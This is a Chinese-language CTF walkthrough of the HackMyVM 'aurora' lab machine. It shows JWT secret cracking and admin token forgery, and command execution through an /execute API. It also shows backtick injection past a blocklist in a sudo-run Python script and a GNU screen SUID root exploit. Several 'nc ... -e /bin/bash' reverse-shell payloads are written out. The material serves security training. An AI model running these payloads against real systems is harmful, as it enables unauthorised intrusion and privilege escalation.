hmv_aurora
0.简介
靶机:hackmyvm - aurora
难度:绿色
目标 IP:192.168.205.138
本机 IP:192.168.205.141
1.扫描
nmap
起手
┌──(kali㉿kali)-[~/test]
└─$ nmap -sS --min-rate 10000 -p- -Pn 192.168.205.138
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-23 10:12 CST
Nmap scan report for 192.168.205.138
Host is up (0.00044s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
MAC Address: 08:00:27:68:BD:31 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.39 seconds
3000大概率是web页面
2.踩点
┌──(kali㉿kali)-[~/test]
└─$ curl http://192.168.205.138:3000/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /</pre>
</body>
</html>
┌──(kali㉿kali)-[~/test]
└─$ curl http://192.168.205.138:3000/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /</pre>
</body>
</html>
禁止GET
访问,那我们就POST
┌──(kali㉿kali)-[~/test]
└─$ feroxbuster -u "http://192.168.205.138:3000" -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x php,html,txt,md -m POST
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.205.138:3000
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [php, html, txt, md]
🏁 HTTP methods │ [POST]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 POST 10l 15w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
401 POST 1l 2w 22c http://192.168.205.138:3000/login
400 POST 1l 6w 29c http://192.168.205.138:3000/register
401 POST 1l 2w 22c http://192.168.205.138:3000/Login
400 POST 1l 6w 29c http://192.168.205.138:3000/Register
401 POST 1l 1w 12c http://192.168.205.138:3000/execute
使用curl
访问
┌──(kali㉿kali)-[~/test]
└─$ curl http://192.168.205.138:3000/login -X POST
Identifiants invalides
┌──(kali㉿kali)-[~/test]
└─$ curl http://192.168.205.138:3000/register -X POST
The "role" field is not valid
┌──(kali㉿kali)-[~/test]
└─$ curl http://192.168.205.138:3000/execute -X POST
Unauthorized
我们注册一个用户试试
┌──(kali㉿kali)-[~/test]
└─$ curl http://192.168.205.138:3000/register -X POST -H "Content-Type: application/json" -d "{\"role\":\"admin\"}"
Not authorized !
啊这,丢去WFUZZ
爆破一下
┌──(kali㉿kali)-[~/test]
└─$ wfuzz -c -u "http://192.168.205.138:3000/register" -X POST -H "Content-Type: application/json" -d "{\"role\":\"FUZZ\"}" -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt --hc 404 --hw 6
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.205.138:3000/register
Total requests: 62284
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000003: 401 0 L 3 W 16 Ch "admin"
000000022: 500 0 L 5 W 32 Ch "user"
Total time: 58.91045
Processed Requests: 62284
Filtered Requests: 62282
Requests/sec.: 1057.265
继续注册
┌──(kali㉿kali)-[~/test]
└─$ curl http://192.168.205.138:3000/register -X POST -H "Content-Type: application/json" -d "{\"role\":\"user\"}"
Column 'username' cannot be null
┌──(kali㉿kali)-[~/test]
└─$ curl http://192.168.205.138:3000/register -X POST -H "Content-Type: application/json" -d "{\"role\":\"user\",\"username\":\"xxoo\"}"
Column 'password' cannot be null
┌──(kali㉿kali)-[~/test]
└─$ curl http://192.168.205.138:3000/register -X POST -H "Content-Type: application/json" -d "{\"role\":\"user\",\"username\":\"xxoo\",\"password\":\"xxoo\"}"
Registration OK
去登录试试
┌──(kali㉿kali)-[~/test]
└─$ curl http://192.168.205.138:3000/login -X POST -H "Content-Type: application/json" -d "{\"role\":\"user\",\"username\":\"xxoo\",\"password\":\"xxoo\"}"
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Inh4b28iLCJyb2xlIjoidXNlciIsImlhdCI6MTczNzU5OTM0OH0.Q8Q3R6Bu_xXUKSTcrGR01y5-hB4ndX7vL1ck1H7XomA"}
这很jwt
,去尝试解码,网站
将密钥爆破一下
┌──(kali㉿kali)-[~/test]
└─$ echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Inh4b28iLCJyb2xlIjoidXNlciIsImlhdCI6MTczNzU5OTM0OH0.Q8Q3R6Bu_xXUKSTcrGR01y5-hB4ndX7vL1ck1H7XomA' > hash
┌──(kali㉿kali)-[~/test]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 512/512 AVX512BW 16x])
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
nopassword (?)
1g 0:00:00:00 DONE (2025-01-23 10:31) 100.0g/s 4915Kp/s 4915Kc/s 4915KC/s 123456..trudy
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
改一下参数
尝试一下那个execute
┌──(kali㉿kali)-[~/test]
└─$ curl http://192.168.205.138:3000/execute -X POST -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzM3NTk5MzQ4fQ.L5acgyrWbMNdNDkCc5Li6oN-he1DS1Q8EyykWeLvsuk"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>TypeError [ERR_INVALID_ARG_TYPE]: The "file" argument must be of type string. Received undefined<br> at validateString (internal/validators.js:120:11)<br> at normalizeSpawnArguments (child_process.js:411:3)<br> at spawn (child_process.js:547:16)<br> at Object.execFile (child_process.js:237:17)<br> at exec (child_process.js:158:25)<br> at /opt/login-app/app.js:69:3<br> at Layer.handle [as handle_request] (/opt/login-app/node_modules/express/lib/router/layer.js:95:5)<br> at next (/opt/login-app/node_modules/express/lib/router/route.js:144:13)<br> at /opt/login-app/app.js:112:5<br> at /opt/login-app/node_modules/jsonwebtoken/verify.js:261:12</pre>
</body>
</html>
Authorization
头以 Bearer
开头。报错了,提示 "file
参数应该是一个字符串,接收到了 undefined
"。根据它的名字和报错我们可以猜出该网页应该是用来执行命令的,我们wfuzz
一下
┌──(kali㉿kali)-[~/test]
└─$ wfuzz -c -u "http://192.168.205.138:3000/execute" -X POST -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzM3NTk5MzQ4fQ.L5acgyrWbMNdNDkCc5Li6oN-he1DS1Q8EyykWeLvsuk" -d "{\"FUZZ\":\"id\"}" -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt --hc 404 --hw 63
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.205.138:3000/execute
Total requests: 62284
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000008958: 200 1 L 3 W 54 Ch "command"
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...
Total time: 19.47640
Processed Requests: 13025
Filtered Requests: 13024
Requests/sec.: 668.7578
尝试执行一下
┌──(kali㉿kali)-[~/test]
└─$ curl http://192.168.205.138:3000/execute -X POST -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzM3NTk5MzQ4fQ.L5acgyrWbMNdNDkCc5Li6oN-he1DS1Q8EyykWeLvsuk" -d '{"command":"id"}'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
弹个shell回来
┌──(kali㉿kali)-[~/test]
└─$ curl http://192.168.205.138:3000/execute -X POST -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzM3NTk5MzQ4fQ.L5acgyrWbMNdNDkCc5Li6oN-he1DS1Q8EyykWeLvsuk" -d '{"command":"nc 192.168.205.141 8888 -e /bin/bash"}'
卡住了,卡住就对了
┌──(kali㉿kali)-[~/test]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.205.141] from (UNKNOWN) [192.168.205.138] 43824
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
3. 获得稳定的 Shell
获取反向 shell 后,通过以下命令获得稳定的交互式 TTY shell:
script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset xterm
export TERM=xterm
echo $SHELL
export SHELL=/bin/bash
stty rows 59 cols 236
4.提权
www-data@aurora:~$ ls -la
total 124
drwxr-xr-x 3 www-data www-data 4096 Apr 6 2023 .
drwxr-xr-x 3 root root 4096 Mar 1 2023 ..
-rw-r--r-- 1 www-data www-data 3271 Mar 1 2023 app.js
-rw-r--r-- 1 www-data www-data 3169 Mar 2 2023 app.js.save
-rw------- 1 www-data www-data 153 Apr 6 2023 .bash_history
drwxr-xr-x 127 www-data www-data 4096 Mar 1 2023 node_modules
-rw-r--r-- 1 www-data www-data 399 Mar 1 2023 package.json
-rw-r--r-- 1 www-data www-data 95944 Mar 1 2023 package-lock.json
www-data@aurora:~$ cat .bash_history
clear
cd /home/doro/
clear
sudo -l
/usr/bin/python3 /home/doro/tools.py --ping
sudo -u doro /usr/bin/python3 /home/doro/tools.py --ping
clear
crontab -l
www-data@aurora:~$ sudo -l
Matching Defaults entries for www-data on aurora:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on aurora:
(doro) NOPASSWD: /usr/bin/python3 /home/doro/tools.py *
www-data@aurora:~$ cat /home/doro/tools.py
import os
import sys
def main():
if len(sys.argv) < 2:
print_help()
return
option = sys.argv[1]
if option == "--ping":
ping()
elif option == "--traceroute":
traceroute_ip()
else:
print("Invalid option.")
print_help()
def print_help():
print("Usage: python3 network_tool.py <option>")
print("Options:")
print("--ping Ping an IP address")
print("--traceroute Perform a traceroute on an IP address")
def ping():
ip_address = input("Enter an IP address: ")
forbidden_chars = ["&", ";", "(", ")", "||", "|", ">", "<", "*", "?"]
for char in forbidden_chars:
if char in ip_address:
print("Forbidden character found: {}".format(char))
sys.exit(1)
os.system('ping -c 2 ' + ip_address)
def traceroute_ip():
ip_address = input("Enter an IP address: ")
if not is_valid_ip(ip_address):
print("Invalid IP address.")
return
traceroute_command = "traceroute {}".format(ip_address)
os.system(traceroute_command)
def is_valid_ip(ip_address):
octets = ip_address.split(".")
if len(octets) != 4:
return False
for octet in octets:
if not octet.isdigit() or int(octet) < 0 or int(octet) > 255:
return False
return True
if __name__ == "__main__":
main()
www-data@aurora:~$ ls -la /home/doro/
total 36
drwxr-xr-x 4 doro doro 4096 Mar 8 2023 .
drwxr-xr-x 3 root root 4096 Mar 6 2023 ..
lrwxrwxrwx 1 root root 9 Mar 3 2023 .bash_history -> /dev/null
-rw-r--r-- 1 doro doro 220 Mar 3 2023 .bash_logout
-rw-r--r-- 1 doro doro 3526 Mar 3 2023 .bashrc
drwxr-xr-x 3 doro doro 4096 Mar 4 2023 .local
-rw-r--r-- 1 doro doro 807 Mar 3 2023 .profile
drwx------ 2 doro doro 4096 Mar 4 2023 .ssh
-rw-r--r-- 1 root root 1380 Mar 7 2023 tools.py
-rwx------ 1 doro doro 33 Mar 3 2023 user.txt
我们尝试一下代码注入,需要注意他禁用了&
, ;
, (
, )
, ||
, |
, >
, <
, *
, ?
www-data@aurora:/tmp$ sudo -u doro /usr/bin/python3 /home/doro/tools.py --ping
Enter an IP address: `id`
ping: groups=1000(doro): Name or service not known
执行成功,尝试弹shell
www-data@aurora:/tmp$ sudo -u doro /usr/bin/python3 /home/doro/tools.py --ping
Enter an IP address: `nc 192.168.205.141 8888 -e /bin/bash`
成功弹了回来
┌──(kali㉿kali)-[~/test]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.205.141] from (UNKNOWN) [192.168.205.138] 57096
id
uid=1000(doro) gid=1000(doro) groups=1000(doro)
触发一下稳定 Shell小连招
script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset xterm
export TERM=xterm
echo $SHELL
export SHELL=/bin/bash
stty rows 59 cols 236
继续提权
doro@aurora:~$ id
uid=1000(doro) gid=1000(doro) groups=1000(doro)
doro@aurora:~$ sudo -l
[sudo] password for doro:
sudo: a password is required
doro@aurora:~$ cd /home/doro/
doro@aurora:~$ ls -al
total 36
drwxr-xr-x 4 doro doro 4096 Mar 8 2023 .
drwxr-xr-x 3 root root 4096 Mar 6 2023 ..
lrwxrwxrwx 1 root root 9 Mar 3 2023 .bash_history -> /dev/null
-rw-r--r-- 1 doro doro 220 Mar 3 2023 .bash_logout
-rw-r--r-- 1 doro doro 3526 Mar 3 2023 .bashrc
drwxr-xr-x 3 doro doro 4096 Mar 4 2023 .local
-rw-r--r-- 1 doro doro 807 Mar 3 2023 .profile
drwx------ 2 doro doro 4096 Mar 4 2023 .ssh
-rw-r--r-- 1 root root 1380 Mar 7 2023 tools.py
-rwx------ 1 doro doro 33 Mar 3 2023 user.txt
doro@aurora:~$ find / -perm -4000 -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/screen
/usr/bin/sudo
/usr/bin/umount
/usr/bin/screen
这个没见过,看看能不能提权。找到一篇文章,还是利用脚本,更开心了
doro@aurora:/tmp$ vi screenroot.sh
doro@aurora:/tmp$ chmod +x screenroot.sh
doro@aurora:/tmp$ bash screenroot.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
7 | chmod("/tmp/rootshell", 04755);
| ^~~~~
/tmp/rootshell.c: In function ‘main’:
/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
3 | setuid(0);
| ^~~~~~
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
4 | setgid(0);
| ^~~~~~
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
5 | seteuid(0);
| ^~~~~~~
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
6 | setegid(0);
| ^~~~~~~
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
7 | execvp("/bin/sh", NULL, NULL);
| ^~~~~~
/tmp/rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-doro.
# id
uid=0(root) gid=0(root) groups=0(root),1000(doro)
成功提权